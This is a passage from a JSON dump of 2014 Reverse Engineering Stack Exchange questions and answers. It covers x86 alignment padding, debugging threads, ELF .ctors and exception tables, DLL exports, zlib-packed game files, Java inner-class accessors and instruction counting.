instruction sequences for? </li>\n<li>Is there anyway to tell (assembler? linker?) do not generate these instruction sequences..? Because basically I am working a assembly code analysis tool, and these instruction sequences annoying the coding much.</li>\n</ol>\n",
        "Title": "Weird instruction identified on disassembler produced assembly code",
        "Tags": "|disassembly|assembly|x86|objdump|",
        "Answer": "<blockquote>\n  <p>What's these instruction sequences for? </p>\n</blockquote>\n\n<p>They are for <strong>code optimization</strong>.</p>\n\n<h1>CPU cache</h1>\n\n<p>To optimize memory accesses, the CPU uses its own (small) internal memory called <em>cache</em>. It usually consists of several levels named <strong>L1</strong>, <strong>L2</strong> etc. A lower suffix number means that the memory is located <em>closer</em> to the CPU core, thus is <em>faster</em> to access, but it's <em>smaller</em> as well. An illustration of this concept taken from <a href=\"https://www.makeuseof.com/tag/what-is-cpu-cache/\" rel=\"nofollow noreferrer\">link</a> is given below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/9Y8Bz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9Y8Bz.png\" alt=\"CPU cache levels\"></a></p>\n\n<p>Accessing the CPU cache is <em>critically faster</em> than reading RAM memory (see <a href=\"https://stackoverflow.com/questions/4087280/approximate-cost-to-access-various-caches-and-main-memory\">this question</a> for more information) and that's why it is better to have data in cache instead of reading it each time from RAM (or even worse - hard disk).</p>\n\n<p>But the CPU doesn't cache only data - it caches <em>instructions</em> as well. And for instructions to be cached effectively, they have to be properly <em>aligned</em>. Following cite comes from <a href=\"https://www.agner.org/optimize/optimizing_assembly.pdf\" rel=\"nofollow noreferrer\">here</a>:</p>\n\n<blockquote>\n  <p>Most microprocessors fetch code in aligned 16-byte or 32-byte blocks. If an important subroutine entry or jump label happens to be near the end of a 16-byte block then the microprocessor will only get a few useful bytes of code when fetching that block of code. It may have to fetch the next 16 bytes too before it can decode the first instructions after the label. </p>\n  \n  <p>This can be avoided by aligning important subroutine entries and loop entries by 16. [...] We may align subroutine entries by the cache line size (typically 64 bytes) if the subroutine is part of a critical hot spot and the preceding code is unlikely to be executed in the same context.</p>\n</blockquote>\n\n<p>So, it may be the case that under <code>foo1:</code> there is some short loop and compiler decided to align this block to put it in the CPU cache so it is executed faster.</p>\n\n<p>As @user45891 already stated in the comment, such an optimization in gcc is turned on with the option <code>-O2</code>, so don't use it when you don't want such optimizations.</p>\n\n<h1>But why the difference between the two outputs?</h1>\n\n<p>Because the first result comes from just two first states of compilation performed by gcc (<a href=\"https://gcc.gnu.org/onlinedocs/gcc/Overall-Options.html#Overall-Options\" rel=\"nofollow noreferrer\">link</a>):</p>\n\n<blockquote>\n  <p>Compilation can involve up to four stages: preprocessing, compilation proper, assembly and linking, always in that order.</p>\n  \n  <p><code>-S</code></p>\n  \n  <p>Stop after the stage of compilation proper; do not assemble.</p>\n</blockquote>\n\n<p>While the second one is \"entirely compiled\" and linked.</p>\n"
    },
    {
        "Id": "6279",
        "CreationDate": "2014-09-22T08:23:18.727",
        "Body": "<p>I would like to step into some code which is ran on a new thread. Luckily, after the initial startup this is the only thread that is newly created in the program. I can set the debugger to break on the creation of a new thread. But all I see is the WinAPI and lower level calls that execute the thread. How can I step into the code that is executed on the thread to see what it does?</p>\n",
        "Title": "Debugging the code executed on a new thread",
        "Tags": "|ollydbg|debugging|",
        "Answer": "<p>BP on <code>CreateThread</code>, then see 3rd parameter -> <code>lpStartAddress</code> of the Thread (its EntryPoint). Now simply BP on that address and step from there when it breaks</p>\n"
    },
    {
        "Id": "6280",
        "CreationDate": "2014-08-27T14:37:48.480",
        "Body": "<p>I have a problem where I'm instrumenting stripped binaries; I don't know the start of <code>main()</code>. But there's always an <code>init()</code>, and <code>init()</code> calls <code>libc_start_main()</code>, which receives a pointer to main.</p>\n\n<p>If I can instrument libc with analysis code to intercept the argument, then I can retrieve that address and place another pin callback there so that I can get it's arguments. The problem is, I don't know what the calling convention is; I was thinking, if I could boil this down to a matter of the calling convention, then I do this for any function. I did notice that <code>gdb</code> knows the calling convention of <code>libc_start_main()</code>, in fact it is so good, it knows the order of the arguments as well.</p>\n\n<p>I did read a short note on stackoverflow that stated that the name of the function would yield the calling convention: \u00ab <a href=\"https://stackoverflow.com/questions/4162400/how-to-find-the-calling-convention-of-a-third-party-dll\">How to find the calling convention of a third party dll?</a> \u00bb</p>\n\n<p>If it's not possible to know the calling convention programmatically, what is the opinion on creating a local build of libc in order to be able to force a particular calling convention onto <code>__libc_start_main()</code>... you see my chain of thought. Does anybody think that this is a better approach, rather than solving it in the general case ?</p>\n",
        "Title": "How to programmatically identify binary calling convention?",
        "Tags": "|c++|calling-conventions|",
        "Answer": "<p>I found that (at least on Linux) it was reliable to intercept _init and to read from a constant offset from the stack pointer was pretty reliable. I ended up producing a pintool that would do just that. </p>\n"
    },
    {
        "Id": "6283",
        "CreationDate": "2014-09-22T20:13:16.543",
        "Body": "<p>I have wrote a program in C++ and I built it as a DLL. I want to utilize functions that are in this DLL in another program to overwrite other functions. Unfortunately, they're not any exports and cannot be added to the imports table. Not only that I have functions that I would like to be able to <code>jmp</code> to and utilize and then return. </p>\n\n<p>Did I perhaps build this incorrectly ?</p>\n\n<p>I have the source so I can make changes in VSC++ although, I can would preferable like to do this in ASM.</p>\n\n<p>I have thought about calling <code>LoadLibrary()</code> but that I believe will put the DLL in a random location and making patches to this will be a bit difficult, if I am not mistaken.</p>\n\n<p>Let me know your ideas on how I can solve this.</p>\n",
        "Title": "Most efficient way to extend a program using a DLL",
        "Tags": "|disassembly|ollydbg|x86|dll|",
        "Answer": "<p>The most efficient and easiest way is to export the functionality using <code>dllexport</code> in C++.</p>\n\n<p>Any other way is rewriting the functionality of windows APIs which defeats point of writing an 'efficient' way to extend the functionality.</p>\n\n<p>You thought about doing what with <code>LoadLibrary</code>? You know that <code>LoadLibrary</code> returns the base address of where it's loaded? Or you could even use <code>GetModuleHandle</code> to get the base. So, it's easy enough to do <code>Base + Offset</code></p>\n\n<p>If this doesn't answer your question then you can elaborate why you can't use <code>dllexport</code>?</p>\n\n<p>Edit:\nInside your dll add the code:</p>\n\n<pre><code>__declspec(dllexport) void __stdcall ShowMessageBox( )\n{\n    MessageBoxA( 0, \"HelloWorld from exported function!\", \"\", MB_OK );\n}\n</code></pre>\n\n<p>Inside your exe add the code:</p>\n\n<pre><code>#pragma comment(lib, \"TheFullPathToYourOutputDirOrUseRelaltive\\\\Bla.lib\")\n\n__declspec(dllimport) void __stdcall ShowMessageBox( );\n</code></pre>\n\n<p>The lib file will be generated in the output directory of your dll. This is only required for build and isn't required for distribution to your end-users.</p>\n\n<p>Finally call our function <code>ShowMessageBox( );</code>. </p>\n"
    },
    {
        "Id": "6285",
        "CreationDate": "2014-09-23T00:54:35.983",
        "Body": "<p>Test is on x86, 32-bit Linux. I am using <code>g++</code> 4.6.3 and <code>objdump</code> 2.22</p>\n<p>Here is a simple C++ code I am working on:</p>\n<pre><code>#include &lt;iostream&gt;\n\nusing namespace std;\n\nmain()\n{\n    cout &lt;&lt; &quot;Hello World!&quot; &lt;&lt; endl;\n    return 0;\n}\n</code></pre>\n<p>When I compile it into assembly code using :</p>\n<pre><code>gcc -S hello.cc\n</code></pre>\n<p>I can find out a <code>ctors</code> section in the <strong>hello.s</strong> below:</p>\n<pre><code>.section    .ctors,&quot;aw&quot;,@progbits\n.align 4\n.long   _GLOBAL__sub_I_main\n.weakref    _ZL20__gthrw_pthread_oncePiPFvvE,pthread_once\n.weakref    _ZL27__gthrw_pthread_getspecificj,pthread_getspecific\n.weakref    _ZL27__gthrw_pthread_setspecificjPKv,pthread_setspecific\n.weakref    _ZL22__gthrw_pthread_createPmPK14pthread_attr_tPFPvS3_ES3_,pthread_create\n.weakref    _ZL20__gthrw_pthread_joinmPPv,pthread_join\n.weakref    _ZL21__gthrw_pthread_equalmm,pthread_equal\n.weakref    _ZL20__gthrw_pthread_selfv,pthread_self\n.weakref    _ZL22__gthrw_pthread_detachm,pthread_detach\n.weakref    _ZL22__gthrw_pthread_cancelm,pthread_cancel\n.weakref    _ZL19__gthrw_sched_yieldv,sched_yield\n.weakref    _ZL26__gthrw_pthread_mutex_lockP15pthread_mutex_t,pthread_mutex_lock\n.weakref    _ZL29__gthrw_pthread_mutex_trylockP15pthread_mutex_t,pthread_mutex_trylock\n.weakref    _ZL31__gthrw_pthread_mutex_timedlockP15pthread_mutex_tPK8timespec,pthread_mutex_timedlock\n.weakref    _ZL28__gthrw_pthread_mutex_unlockP15pthread_mutex_t,pthread_mutex_unlock\n.weakref    _ZL26__gthrw_pthread_mutex_initP15pthread_mutex_tPK19pthread_mutexattr_t,pthread_mutex_init\n.weakref    _ZL29__gthrw_pthread_mutex_destroyP15pthread_mutex_t,pthread_mutex_destroy\n.weakref    _ZL30__gthrw_pthread_cond_broadcastP14pthread_cond_t,pthread_cond_broadcast\n.weakref    _ZL27__gthrw_pthread_cond_signalP14pthread_cond_t,pthread_cond_signal\n.weakref    _ZL25__gthrw_pthread_cond_waitP14pthread_cond_tP15pthread_mutex_t,pthread_cond_wait\n.weakref    _ZL30__gthrw_pthread_cond_timedwaitP14pthread_cond_tP15pthread_mutex_tPK8timespec,pthread_cond_timedwait\n.weakref    _ZL28__gthrw_pthread_cond_destroyP14pthread_cond_t,pthread_cond_destroy\n.weakref    _ZL26__gthrw_pthread_key_createPjPFvPvE,pthread_key_create\n.weakref    _ZL26__gthrw_pthread_key_deletej,pthread_key_delete\n.weakref    _ZL30__gthrw_pthread_mutexattr_initP19pthread_mutexattr_t,pthread_mutexattr_init\n.weakref    _ZL33__gthrw_pthread_mutexattr_settypeP19pthread_mutexattr_ti,pthread_mutexattr_settype\n.weakref    _ZL33__gthrw_pthread_mutexattr_destroyP19pthread_mutexattr_t,pthread_mutexattr_destroy\n</code></pre>\n<p>However, when I assembly the asm code, producing an exe file and use the <code>objdump</code> produce the <code>ctors</code> section's contain like this:</p>\n<pre><code>objdump -Dr -j .ctors hellocpp\n</code></pre>\n<p>All I can get is like this:</p>\n<pre><code>hellocpp:     file format elf32-i386\n\n\nDisassembly of section .ctors:\n\n08049efc &lt;__CTOR_LIST__&gt;:\n 8049efc:   ff                      (bad)  \n 8049efd:   ff                      (bad)  \n 8049efe:   ff                      (bad)  \n 8049eff:   ff 00                   incl   (%eax)\n\n08049f00 &lt;__CTOR_END__&gt;:\n 8049f00:   00 00                   add    %al,(%eax)\n ...\n</code></pre>\n<p>Currently I am trying to recover the content of some ELF binaries compiled from <code>c++</code> program..</p>\n<p>So I am wondering if there is a way to get the content of <code>ctors</code> which equals to what <code>g++</code> produced?</p>\n<h3>Update:</h3>\n<p>Thanks a lot for @Igor's help. But I am still trapped in looking for <code>class's</code> <code>constructor</code> and <code>destructor</code>  info from ELF binary.</p>\n<p>When evolving <code>class</code> definition, g++ would produce these info in the <code>.ctors</code> section:</p>\n<pre><code>    .globl  _ZN8ComputerC1Ev\n    .set    _ZN8ComputerC1Ev,_ZN8ComputerC2Ev\n    .globl  _ZN8ComputerD1Ev\n    .set    _ZN8ComputerD1Ev,_ZN8ComputerD2Ev\n</code></pre>\n<p>Generally <code>_ZN8ComputerC2Ev</code> is the name of a class's constructor while <code>_ZN8ComputerD2Ev</code> is its  destructor.</p>\n<p>However, I just can not find corresponding info in the <code>objdump</code> dumped <code>.ctors</code> or <code>.init_array</code> sections.. I also tried <code>.eh_frame</code> and <code>gcc_except_table</code>, but the information dumped is massive.. I can not figure out the meaning of those information..</p>\n<p>Could anyone give me guide?</p>\n",
        "Title": "How to recover information stored in .ctors section?",
        "Tags": "|disassembly|x86|c++|elf|",
        "Answer": "<p>As Igor stated, the <code>.ctors</code> section is a list of function pointers, ending with a sentinel value of <code>0xffffffff</code>. To see its contents, just do</p>\n\n<pre><code>$ objdump -s -j.ctors bar.so\n</code></pre>\n\n<p>But your assembly file only contains weak symbols. Those are foreign functions in other libraries, and are invoked when their libraries are loaded at runtime.</p>\n\n<p>For example, put this in a file <code>bar.cpp</code>:</p>\n\n<pre><code>class Foo {\npublic:\n  int i;\n\n  Foo(int n) : i(n) {\n  }\n};\n\nFoo global_foo(123);\n</code></pre>\n\n<p>Compile with</p>\n\n<pre><code>$ g++ -shared -fPIC bar.cpp -obar.so\n</code></pre>\n\n<p>The contents of the <code>.init_array</code> section is</p>\n\n<pre><code>$ objdump -s -j.init_array bar.so\n\nbar.so:     file format elf64-x86-64\n\nContents of section .init_array:\n 200820 ad060000 00000000                    ........        \n</code></pre>\n\n<p>There's a function pointer there, <code>0xad060000 00000000</code>. But you have to change its endianness, e.g. with Python:</p>\n\n<pre><code>&gt;&gt;&gt; import struct\n&gt;&gt;&gt; import binascii\n&gt;&gt;&gt; binascii.hexlify(struct.pack(\"&lt;Q\", 0xad06000000000000))\n'00000000000006ad'\n</code></pre>\n\n<p>Now list all symbols and grep for that address:</p>\n\n<pre><code>$ objdump -C --syms bar.so | grep 00000000000006ad\n00000000000006ad l     F .text  0000000000000015\n  [... on above line ...] global constructors keyed to bar.cpp\n</code></pre>\n\n<p>The disassembly for it,</p>\n\n<pre><code>$ objdump -C -d bar.so\n</code></pre>\n\n<p>shows</p>\n\n<pre><code>00000000000006ad &lt;global constructors keyed to bar.cpp&gt;:\n 6ad:   55                      push   %rbp\n 6ae:   48 89 e5                mov    %rsp,%rbp\n 6b1:   be ff ff 00 00          mov    $0xffff,%esi\n 6b6:   bf 01 00 00 00          mov    $0x1,%edi\n 6bb:   e8 ba ff ff ff          callq  67a &lt;__static_initialization_and_destruction_0(int, int)&gt;\n 6c0:   c9                      leaveq \n 6c1:   c3                      retq   \n</code></pre>\n\n<p>which jumps to <code>__static_initialization_and_destruction_0(int, int)</code>:</p>\n\n<pre><code>000000000000067a &lt;__static_initialization_and_destruction_0(int, int)&gt;:\n 67a:   55                      push   %rbp\n 67b:   48 89 e5                mov    %rsp,%rbp\n 67e:   48 83 ec 10             sub    $0x10,%rsp\n 682:   89 7d fc                mov    %edi,-0x4(%rbp)\n 685:   89 75 f8                mov    %esi,-0x8(%rbp)\n 688:   83 7d fc 01             cmpl   $0x1,-0x4(%rbp)\n 68c:   75 1d                   jne    6ab &lt;__static_initialization_and_destruction_0(int, int)+0x31&gt;\n 68e:   81 7d f8 ff ff 00 00    cmpl   $0xffff,-0x8(%rbp)\n 695:   75 14                   jne    6ab &lt;__static_initialization_and_destruction_0(int, int)+0x31&gt;\n 697:   be 7b 00 00 00          mov    $0x7b,%esi\n 69c:   48 8b 05 9d 03 20 00    mov    0x20039d(%rip),%rax        # 200a40 &lt;_DYNAMIC+0x1e8&gt;\n 6a3:   48 89 c7                mov    %rax,%rdi\n 6a6:   e8 f5 fe ff ff          callq  5a0 &lt;Foo::Foo(int)@plt&gt;\n 6ab:   c9                      leaveq \n 6ac:   c3                      retq   \n</code></pre>\n\n<p>which puts 123 (<code>0x7b</code>) on the stack and calls <code>Foo::Foo(int)</code>.</p>\n"
    },
    {
        "Id": "6297",
        "CreationDate": "2014-09-24T06:03:09.953",
        "Body": "<p>I'm trying to figure out how this .RBB file is packed it's from a gamecube game I'm trying to learn how to reverse engineer it so I can extract the file and look at its contents. </p>\n\n<p>I don't know were to start honestly so I was hoping someone could point me in the right direction. I've added a link to the file below incase anyone wants to take a look at it.</p>\n\n<p><a href=\"https://dl.dropboxusercontent.com/u/227520696/CITY.RBB\" rel=\"nofollow noreferrer\">https://dl.dropboxusercontent.com/u/227520696/CITY.RBB</a></p>\n\n<p>Additional Information:</p>\n\n<p>The game is called Extreme G Racing</p>\n\n<p>Edit: I've looked it with a hex editor and it shows some japanese text</p>\n\n<p><img src=\"https://i.stack.imgur.com/Ekv3V.png\" alt=\"enter image description here\"></p>\n",
        "Title": "Help old gamecube file format",
        "Tags": "|memory|decompress|",
        "Answer": "<p>The bytes at offset 0x10 are <code>78 DA</code>, which hints very strongly to the zlib compression algorithm. </p>\n\n<pre><code>0000000000: 00 52 42 42 00 6C 8C 60 \u2502 00 3E CE 22 27 4A 88 69   RBB l\u0152` &gt;\u00ce\"'J\u02c6i\n0000000010: 78 DA 74 9D 0B BC 97 63 \u2502 D6 F7 77 24 A9 B0 25 95  x\u00dat\u2642\u00bc\u2014c\u00d6\u00f7w$\u00a9\u00b0%\u2022\n            ^^^^^\n</code></pre>\n\n<p>I use this small Python script to decompress zlib-compressed streams:</p>\n\n<pre><code># usage: unz.py infile outfile [start offset]\nimport zlib, sys\ninf = open(sys.argv[1],\"rb\")\noff = 0\nif len(sys.argv)&gt;3: off = int(sys.argv[3],16)\ninf.seek(off)\ncdata = inf.read()\n# auto-detect zlib/gzip/deflate\n# http://stackoverflow.com/a/22310760/422797\nd = zlib.decompressobj(zlib.MAX_WBITS|32)\nudata = d.decompress(cdata)\nudata += d.flush()\n\nclen = len(cdata) - len(d.unused_data)\nulen = len(udata)\n\nopen(sys.argv[2],\"wb\").write(udata)\nprint(\"%d -&gt; %d; end of data: %08X\" % (clen, ulen, off+clen))\n</code></pre>\n\n<p>If I use it like this:</p>\n\n<pre><code>unz.py CITY.RBB CITY.UNP 10\n</code></pre>\n\n<p>It decompresses nicely:</p>\n\n<pre><code>3696259 -&gt; 7113808; end of data: 00386693\n</code></pre>\n\n<p>And the output has some structure:</p>\n\n<pre><code>0000000000: 00 00 00 01 00 00 00 00 \u2502 00 00 00 01 00 00 00 01     \u263a       \u263a   \u263a\n0000000010: 00 00 00 01 02 00 00 02 \u2502 00 00 00 50 00 6C 8C 10     \u263a\u263b  \u263b   P l\u0152\u25ba\n0000000020: 00 00 00 10 00 00 00 01 \u2502 00 00 00 00 00 00 00 00     \u25ba   \u263a\n0000000030: CA 60 FA A2 42 43 52 00 \u2502 00 00 00 00 00 00 00 61  \u00ca`\u00fa\u00a2BCR        a\n0000000040: 58 58 58 58 58 58 58 58 \u2502 58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX\n0000000050: 00 00 00 00 00 0D C4 6C \u2502 00 55 35 E0 00 61 3E 30       \u266a\u00c4l U5\u00e0 a&gt;0\n0000000060: 00 63 79 F0 00 01 30 D3 \u2502 00 00 43 C7 00 03 02 14   cy\u00f0 \u263a0\u00d3  C\u00c7 \u2665\u263b\u00b6\n0000000070: 00 00 8E F0 00 00 C1 7E \u2502 00 00 00 00 00 00 00 00    \u017d\u00f0  \u00c1~\n0000000080: 00 61 3E 30 FF FF FF FF \u2502 C3 7C D3 18 C2 B4 AF 10   a&gt;0\u00ff\u00ff\u00ff\u00ff\u00c3|\u00d3\u2191\u00c2\u00b4\u00af\u25ba\n0000000090: C4 74 57 67 C4 FB 0A 00 \u2502 C4 A2 0D 4B C4 F5 E2 F3  \u00c4tWg\u00c4\u00fb\u25d9 \u00c4\u00a2\u266aK\u00c4\u00f5\u00e2\u00f3\n00000000A0: 44 BB D5 3A 44 8B 77 68 \u2502 41 45 C6 00 00 00 00 00  D\u00bb\u00d5:D\u2039whAE\u00c6\n</code></pre>\n\n<p>However, making sense of it may require you to look at the game code.</p>\n"
    },
    {
        "Id": "6306",
        "CreationDate": "2014-09-24T17:45:14.177",
        "Body": "<p>Where i can find a working link to this tutorial? I have searched a lot on the net but all links are broken. Could anyone upload it somewhere?</p>\n\n<p>Original link\n<a href=\"http://www.alex-ionescu.com/vb.pdf\" rel=\"nofollow\">http://www.alex-ionescu.com/vb.pdf</a></p>\n",
        "Title": "Where can i find Visual Basic Image Internal Structure Format by Alex Ionescu?",
        "Tags": "|patch-reversing|visual-basic|",
        "Answer": "<p><a href=\"http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf\" rel=\"nofollow\">http://web.archive.org/web/20071020232030/http://www.alex-ionescu.com/vb.pdf</a></p>\n\n<p>[more chars ftw][more chars ftw]</p>\n"
    },
    {
        "Id": "6311",
        "CreationDate": "2014-09-25T01:01:21.850",
        "Body": "<p>For <code>C++</code> program with <code>try</code> <code>catch</code> defined, when using <code>g++</code> to compile it into assembly code (test is on x86 32bit Linux, <code>g++</code> 4.6.3)</p>\n\n<pre><code>g++ -S cppexcept.cc\n</code></pre>\n\n<p>A specified section called <code>.gcc_except_table</code> is produced like below:</p>\n\n<pre><code>        .section        .gcc_except_table\n        .align 4\n.LLSDA980:\n        .byte   0xff\n        .byte   0\n        .uleb128 .LLSDATT980-.LLSDATTD980\n.LLSDATTD980:\n        .byte   0x1\n        .uleb128 .LLSDACSE980-.LLSDACSB980\n.LLSDACSB980:\n        .uleb128 .LEHB3-.LFB980\n        .uleb128 .LEHE3-.LEHB3\n        .uleb128 0\n        .uleb128 0\n        .uleb128 .LEHB4-.LFB980\n        .uleb128 .LEHE4-.LEHB4\n        .uleb128 .L19-.LFB980\n        .uleb128 0x3\n        .uleb128 .LEHB5-.LFB980\n        .uleb128 .LEHE5-.LEHB5\n        .uleb128 0\n        .uleb128 0\n        .uleb128 .LEHB6-.LFB980\n        .uleb128 .LEHE6-.LEHB6\n        .uleb128 .L20-.LFB980\n        .uleb128 0\n        .uleb128 .LEHB7-.LFB980\n        .uleb128 .LEHE7-.LEHB7\n        .uleb128 .L21-.LFB980\n        .uleb128 0\n</code></pre>\n\n<p>After the compilation into <code>exe file</code> with <code>ELF</code> format, it seems that there are two sections related to exception handling, which are <code>.gcc_except_table</code> and <code>.eh_frame</code>. </p>\n\n<p>However, I dumped the contents of these two section with the following commands, comparing the labels' memory addresses with what are defined in <code>.gcc_except_table</code>, but it seems too blur to me...</p>\n\n<pre><code>objdump -s -j .gcc_except_table cppexcept\nobjdump -s -j .eh_frame cppexcept\n</code></pre>\n\n<p>So my question is:</p>\n\n<p>Is there any way to recover the information defined in the <code>.gcc_except_table</code> (which is shown above) from <code>ELF</code> file's <code>.gcc_except_table</code> and <code>eh_frame</code> tables?</p>\n",
        "Title": "How to recover the exception info from .gcc_except_table and .eh_handle sections?",
        "Tags": "|disassembly|assembly|x86|c++|exception|",
        "Answer": "<p>(I think you may get some extra comments if you use <code>-fverbose-asm</code>.)</p>\n\n<p>Recovering information from these tables is definitely possible, although documentation is scarce and is often present only in the code which parses them. </p>\n\n<p>The <code>.eh_frame</code> layout is described briefly in the <a href=\"http://refspecs.linuxfoundation.org/LSB_3.0.0/LSB-Core-generic/LSB-Core-generic/ehframechpt.html\">LSB documentation</a>. Ian Lance Taylor (author of the gold linker) also made some blog posts on <a href=\"http://www.airs.com/blog/archives/460\"><code>.eh_frame</code></a> and <a href=\"http://www.airs.com/blog/archives/464\"><code>.gcc_except_table</code> layout</a>.</p>\n\n<p>For a more reference-like description, check my <a href=\"http://www.hexblog.com/wp-content/uploads/2012/06/Recon-2012-Skochinsky-Compiler-Internals.pdf\">Recon 2012 slides</a> (start at 37 or so).</p>\n\n<p>I've made <a href=\"http://www.hexblog.com/wp-content/uploads/2012/06/recon-2012-skochinsky-scripts.zip\">an IDA script</a> (<code>gcc_extab.py</code>) which parses <code>.eh_frame</code> and <code>.gcc_except_table</code> and formats them nicely.</p>\n\n<p>Taking a sample program:</p>\n\n<pre><code>void f()\n{\n    throw 1;\n}\n\nint main()\n{\n    int j;\n    try {\n        f();\n    } catch (int i) {\n        j = i;\n    }   \n    return 0;\n}\n</code></pre>\n\n<p>I'll show the commented structures produced by GCC.</p>\n\n<p>First, the <code>.eh_table</code> (some parts omitted for clarity):</p>\n\n<pre><code>.Lframe1:                     # start of CFI 1\n    .long   .LECIE1-.LSCIE1   # length of CIE 1 data\n.LSCIE1:                      # start of CIE 1 data\n    .long   0                 # CIE id\n    .byte   0x1               # Version\n    .string \"zPL\"             # augmentation string:\n                              # z: has augmentation data\n                              # P: has personality routine pointer\n                              # L: has LSDA pointer\n    .uleb128 0x1              # code alignment factor\n    .sleb128 -4               # data alignment factor\n    .byte   0x8               # return address register no.\n    .uleb128 0x6              # augmentation data length (z)\n    .byte   0                 # personality routine pointer encoding (P): DW_EH_PE_ptr|DW_EH_PE_absptr\n    .long   __gxx_personality_v0 # personality routine pointer (P)\n    .byte   0                 # LSDA pointer encoding: DW_EH_PE_ptr|DW_EH_PE_absptr\n    .byte   0xc               # Initial CFI Instructions\n    [...]\n    .align 4\n.LECIE1:                      # end of CIE 1\n    [...]\n\n.LSFDE3:                      # start of FDE 3\n    .long   .LEFDE3-.LASFDE3  # length of FDE 3\n.LASFDE3:                     # start of FDE 3 data\n    .long   .LASFDE3-.Lframe1 # Distance to parent CIE from here\n    .long   .LFB1             # initial location                \n    .long   .LFE1-.LFB1       # range length                    \n    .uleb128 0x4              # Augmentation data length (z)    \n    .long   .LLSDA1           # LSDA pointer (L)                \n    .byte   0x4               # CFI instructions                \n    .long   .LCFI2-.LFB1\n    [...]\n    .align 4\n.LEFDE3:                      # end of FDE 3\n</code></pre>\n\n<p>Next, the LSDA (language-specific data area) in <code>.gcc_except_table</code>, referenced by FDE 3:</p>\n\n<pre><code>.LLSDA1:                           # LSDA 1\n    .byte   0xff                   # LPStart encoding: DW_EH_PE_omit\n    .byte   0                      # TType encoding: DW_EH_PE_ptr|DW_EH_PE_absptr\n    .uleb128 .LLSDATT1-.LLSDATTD1  # TType offset\n.LLSDATTD1:                        # LSDA 1 action table\n    .byte   0x1                    # call site encoding: DW_EH_PE_uleb128|DW_EH_PE_absptr\n    .uleb128 .LLSDACSE1-.LLSDACSB1 # call site table length\n.LLSDACSB1:                        # LSDA 1 call site entries\n    .uleb128 .LEHB0-.LFB1          # call site 0 start\n    .uleb128 .LEHE0-.LEHB0         # call site 0 length\n    .uleb128 .L8-.LFB1             # call site 0 landing pad\n    .uleb128 0x1                   # call site 0 action (1=action 1)\n    .uleb128 .LEHB1-.LFB1          # call site 1 start\n    .uleb128 .LEHE1-.LEHB1         # call site 1 length\n    .uleb128 0                     # call site 1 landing pad\n    .uleb128 0                     # call site 1 action (0=no action)\n.LLSDACSE1:                        # LSDA 1 action table entries\n    .byte   0x1                    # action 1 filter (1=T1 typeinfo)\n    .byte   0                      # displacement to next action (0=end of chain)\n    .align 4\n    .long   _ZTIi                  # T1 typeinfo (\"typeinfo for int\")\n.LLSDATT1:                         # LSDA 1 TTBase\n</code></pre>\n"
    },
    {
        "Id": "6314",
        "CreationDate": "2014-09-25T13:49:23.777",
        "Body": "<p>I am looking to get started with Java exploitation. I have not found a good place start or even how to start, so I am asking here. What are the publicly available exploits for Java that one can study ? Also what would be a good starting point ?(ex. maybe decompilation ) </p>\n",
        "Title": "exploit - Getting started with Java exploitation",
        "Tags": "|exploit|java|",
        "Answer": "<blockquote>\n  <p>What are the publicly available exploits for Java that one can study ?</p>\n</blockquote>\n\n<p>There are about 20 publicly available exploits for Java here, with annotated source code and references to the vulnerabilities being exploited: <a href=\"https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/browser\" rel=\"nofollow\">https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/browser</a></p>\n"
    },
    {
        "Id": "6320",
        "CreationDate": "2014-09-26T14:51:03.367",
        "Body": "<p>I recently heard that using Java inner classes in a class that enclose sensitive information is causing the <code>private</code> data of the class to be changed to <code>protected</code> at the bytecode level (meaning that any other class of the package may access it).</p>\n\n<p>As I do not have any expertise in bytecode reading I would like to know if it is true, and get some explanation of this problem.</p>\n",
        "Title": "What is the problem with using inner classes in a class enclosing sensitive information?",
        "Tags": "|exploit|java|",
        "Answer": "<p>The problem is that there is no notion of inner classes at the bytecode level. Each inner class is compiled to a separate class with no special privileges compared to any other class in the same package.</p>\n\n<p>So in order to support the functionality of inner classes, the compiler has to add getter methods behind the scenes. Every time you access a field in the outer class from the inner class, the compiler needs to generate a getter in the outer class. However, these getters cannot be private because then nothing could call them! Therefore, the getter is always at least protected, meaning any class in the same package can access it.</p>\n\n<p>Update: <a href=\"https://openjdk.java.net/jeps/181\" rel=\"nofollow noreferrer\">Java 11 added a new bytecode feature to address this issue</a>, so this does not apply to recent versions of Java.</p>\n"
    },
    {
        "Id": "6327",
        "CreationDate": "2014-09-27T15:21:02.240",
        "Body": "<p>Can someone deobfuscate this code? I am not getting any way to deobfuscate  this.</p>\n\n<p>Unable to paste it over here as it over passed 30,000 word limit.</p>\n\n<p><a href=\"http://pastebin.com/V327Q8Hg\" rel=\"nofollow\">http://pastebin.com/V327Q8Hg</a></p>\n\n<p>Thanks</p>\n",
        "Title": "Trying to deobfuscate multi layered javascript",
        "Tags": "|obfuscation|deobfuscation|javascript|",
        "Answer": "<p>Mostly cleaned up, you can rename vars if you will.\n<a href=\"http://pastebin.com/uySNcxuX\" rel=\"nofollow\">pastebin</a></p>\n"
    },
    {
        "Id": "6329",
        "CreationDate": "2014-09-27T16:27:25.803",
        "Body": "<p>How can I measure the number of instructions a Windows (or Linux or XNU) kernel driver/module executed after, say, an IOCTL or a SYSCALL? My only ideas are the following:</p>\n\n<ul>\n<li>Using WinDBG or remote GDB, debug the whole operating system, put breakpoints in each basic block/function/instruction of the driver or step-trace inside it. Very slow and likely going to cause problems due to the large number of breakpoints to be added.</li>\n<li>From user-land, use instructions like RDTSC to try to \"measure\" the number of (non different) instructions executed by checking the times it took to execute it. Likely going to give \"false\" results for many reasons (i.e., the very same call to a syscall or ioctl can take different times for many different reasons).</li>\n</ul>\n\n<p>Any idea or option in any of the mentioned kernels to determine the number of instructions and, preferably, the number of <em>different</em> instructions executed?</p>\n",
        "Title": "Determining the number of instructions executed by a driver",
        "Tags": "|kernel-mode|instrumentation|",
        "Answer": "<p>You can also give a try to <a href=\"https://software.intel.com/sites/landingpage/pintool\" rel=\"nofollow\">pin</a>. There is even an <a href=\"https://software.intel.com/sites/landingpage/pintool/docs/49306/Pin/html/index.html#SimpleCount\" rel=\"nofollow\">example</a> in the documentation explaining exactly what you want to do.</p>\n"
    },
    {
        "Id": "6334",
        "CreationDate": "2014-09-28T20:19:37.577",
